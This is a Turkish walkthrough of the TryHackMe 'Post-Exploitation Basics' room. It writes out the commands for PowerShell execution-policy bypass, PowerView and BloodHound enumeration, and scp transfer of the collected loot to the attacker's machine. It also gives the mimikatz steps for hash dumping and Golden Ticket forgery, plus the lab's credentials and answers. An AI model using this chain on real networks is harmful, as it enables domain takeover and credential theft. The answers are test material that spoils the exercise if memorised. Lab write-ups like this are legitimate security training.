TryHackMe — Post-Exploitation Basics WriteUp
Merhabalar, bu yazımda TryHackMe platformunda bulunan Post-Exploitation Basics isimli makinenin çözümünü sizlere anlatıyor olacağım.
Bu makine daha çok gerçek dünya uygulamalarıyla ilgili olacak ve büyük ihtimalle herhangi bir CTF esnasında size yardımcı olmayacaktır, ancak size bir makinede kabuk elde ettikten sonra bir ağa nasıl yaklaşılacağı konusunda harika bir başlangıç bilgisi verecektir. Mimikatz, BloodHound, Powerview ve msfvenom ile post-explotation ve erişimi sürdürmenin temellerini öğreniyor olacağız.
Bu makinede daha önce çözdüklerimizden daha farklı bir yol izlememiz gerekecektir. Makinenın açıklamasında bizlere verilen bilgileri kullanarak sunucuya bağlanmamız gerekmektedir.
ssh Administrator@10.10.163.56
1) Enumeration w/ Powerview
SSH ile bağlantı sağladık, şimdi Powershell’i çalıştırmamız gerekiyor.
powershell -ep bypass
Yukarıdaki komutu Powershell’in yürütme politikasını atlayarak komut dosyalarını kolayca çalıştırmamıza olanak tanır.
Şimdi PowerView’ı çalıştırabiliriz:
. .\Downloads\PowerView.ps1
Artık PowerView’ın yüklediği komutlara erişimimiz var. İlk önce kullanıcılara bakalım.
Get-NetUser | select cn
Kullanıcıları listelediğimizde 3. sorudaki bayrağa ulaşıyoruz.
Şimdi isminde admin olan gruplara bakalım.
Get-NetGroup -GroupName *admin*
Şimdi bize makine ile ilgili sorulan sorulardan ilkinin cevabını bulmaya çalışalım.
#1 — What is the shared folder that is not set by default?
Bu sorunun cevabı için çalıştırabileceğimiz iki komut var;
—Invoke-ShareFinder
— Get-NetShare
Cevap : Share
#2 — What operating system is running inside of the network besides Windows Server 2019?
Bu sorunun cevabı için Powershell üzerinde aşağıdaki komutu çalıştırabilirsiniz.
Get-NetComputer -fulldata | select operatingsystem*
Cevap : Windows 10 Enterprise Evaluation
2) Enumeration w/ Bloodhound
Bloodhound, ağı görsel olarak haritalamanıza izin veren bir grafik arayüzüdür. Bu araç, PowerView’a benzer SharpHound ile birlikte ağın kullanıcılarını, gruplarını vb. alır ve bunları Bloodhound içinde kullanılmak üzere .json dosyalarına toplar.
.Json dosyalarının nasıl toplanacağına ve bunların Bloodhound’a nasıl aktarılacağına odaklanacağız.
BloodHound Installation
1.) apt-get install bloodhound
2.) neo4j console
- default credentials -> neo4j:neo4j
Getting loot w/ SharpHound
1.) powershell -ep bypass
same as with PowerView
2.) . .\Downloads\SharpHound.ps1
3.) Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip
Invoke-Bloodhound -CollectionMethod All -Domain CONTROLLER.local -ZipFileName loot.zip
Bu adımdan sonra loot.zip klasörünü saldırgan makinenize aktarın.
Not: bağlantınızda ssh kullanıyorsanız dosyayı aktarmak için scp kullanabilirsiniz.
scp .\20210502113001_loot.zip tuba@10.9.107.107:/home/tuba/loot.zip
— BloodHound ile ağın haritasını çıkarma
1- Bloodhound çalıştırın ve kurulumda Neo4j ile ayarladığınız aynı kimlik bilgilerini kullanarak oturum açın.
2- Daha sonra loot.zip klasörünü içe aktarın.
3- Grafikli ağı görüntülemek için menüyü açın ve sorguları seçin, bu size aralarından seçim yapabileceğiniz önceden derlenmiş sorguların bir listesini verecektir.
4- Find all Domain Admins sorgusunda tıklayarak basitçe tüm domain admin leri görebiliriz.
Bu sorgular sayesinde makinedeki soruları cevaplayabiliriz.
#1 — What service is also a domain admin
Cevap: Sqlservice
#2 — What two users are Kerberoastable?
Bu sorunun cevabı için analysis kısmındaki “List all Kerberoastable Accounts” sorgusunu kullanabiliriz.
Cevap: SQLSERVICE, KRBTGT
3) Dumping hashes w/ mimikatz
Mimikatz, çoğunlukla bir active directory ağının içindeki kullanıcı kimlik bilgilerini dökmek için kullanılan çok popüler ve güçlü bir post-exploitation aracıdır.
NTLM hash lerini mimikatz ile dökümüne ve ardından hashcat kullanarak bu hashleri kırmaya odaklanacağız.
İlk olarak mimikatz çalıştıralım.
cd Downloads && mimikatz.exe
Daha sonra privilege::debug
komutunu çalıştıralım. Çıktının “Ayrıcalık ‘20’ ok” olduğundan emin olun. Bu, mimikatz’ı yönetici olarak çalıştırmanızı sağlar; mimikatz’ı yönetici olarak çalıştırmazsanız, mimikatz düzgün çalışmayacaktır.
Şimdi lsadump::lsa /patch
komutuyla hashleri döküyoruz.
Sonunda kırmayı deneyebileceğimiz hashlere sahibiz. Önce hashcat ve rockyou.txt kullanarak deneyelim. Hashleri kırmak için hashes.com sitesini de kullanabilirsiniz. Hashleri kırdıktan sonra bir Golden Ticket oluşturmayı deneyebiliriz fakat öncesinde krgtgt kullanıcısı hakkında bilgi toplamamız gerekir.
lsadump::lsa /inject /name:krbtgt
Yukarıdaki bilgileri kullanarak ticket oluşturabiliriz.
kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 /krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
Oluşturulan bilet ile şimdi yeni bir komut istemi başlatabiliriz.
Artık ağdaki diğer tüm makinelere erişimi olan başka bir komut isteminiz olacak.
misc::cmd
Ağda sunucular veya masaüstü bilgisayarlar gibi başka cihazlar olsaydı, bunlara göz atabilir, kimlik doğrulaması yapabilirdik.
4) Enumeration w/ Server Manager
Sunucu yöneticisine erişmenin tek yolu, sunucuya rdp yapmak ve sunucuya bir rdp bağlantısı üzerinden erişmektir.
Yalnızca kullanıcılara ve gruplara bakmak gibi temel konuların üzerinden geçeceğiz, ancak sunucu yöneticisi ile enumeration açısından elde edebileceğiniz birçok başka yol var.
Bu aynı zamanda, henüz enumeration yapmadıysanız, ağın ne tür bir güvenlik duvarı kullandığını kolayca belirlemenin bir yolu olabilir.
RDP bağlantısını kuralım.
Makinenin IP’si 10.10.148.222'dir.
Kimlik bilgileri şunlardır: domain:controller.local user:Administrator password:P@$$W0rd
Numaralandırma w/ Sunucu Yöneticisi
Windows Server Manager’ı ilk açtığınızda göreceğiniz şey budur; ana sekmeler, araçlar ve yönetim sekmeleridir, araçlar sekmesi, kullanıcılar, gruplar, güvenler, bilgisayarlar gibi bilgilerinizin çoğunu bulacağınız yerdir. Yönet sekmesi, roller ve özellikler eklemenize izin verir, ancak bu muhtemelen bir sistem yöneticisi tarafından nispeten hızlı bir şekilde alınır.
AD CS, AD DS, DNS veya Dosya ve Depolama Hizmetleri için endişelenmeyin, bunlar aktif dizinden yararlanmak için ayarlanmıştır ve post-exploitation için fazla bir kullanımları yoktur.
Araçlar (Tools) sekmesine gidin ve Active Directory Kullanıcıları ve Bilgisayarları’nı (Active Directory Users and Computers) seçin.
Bu alan bize etki alanındaki tüm kullanıcıların bir listesini ve ayrıca gruplar, bilgisayarlar gibi kullanılacak diğer bazı yararlı sekmeleri gösterecektir.
Bazı sistem yöneticileri, bir saldırgan olarak, kullanıcı hesaplarının açıklamalarını görebildiğinizi fark etmezler, böylece açıklamanın içinde hizmet hesaplarının parolalarını ayarlayabilirler, açıklamaya bakarlar ve SQL Hizmeti parolasının ne olduğunu bulabilirler.
#1 — What tool allows to view the event logs?
Cevap: event viewer
#2 — What is the SQL Service password?
Cevap: MYpassword123#
Buraya kadar devam ettiğiniz için teşekkürler. Bir sonraki makine çözümlerinde görüşmek üzere…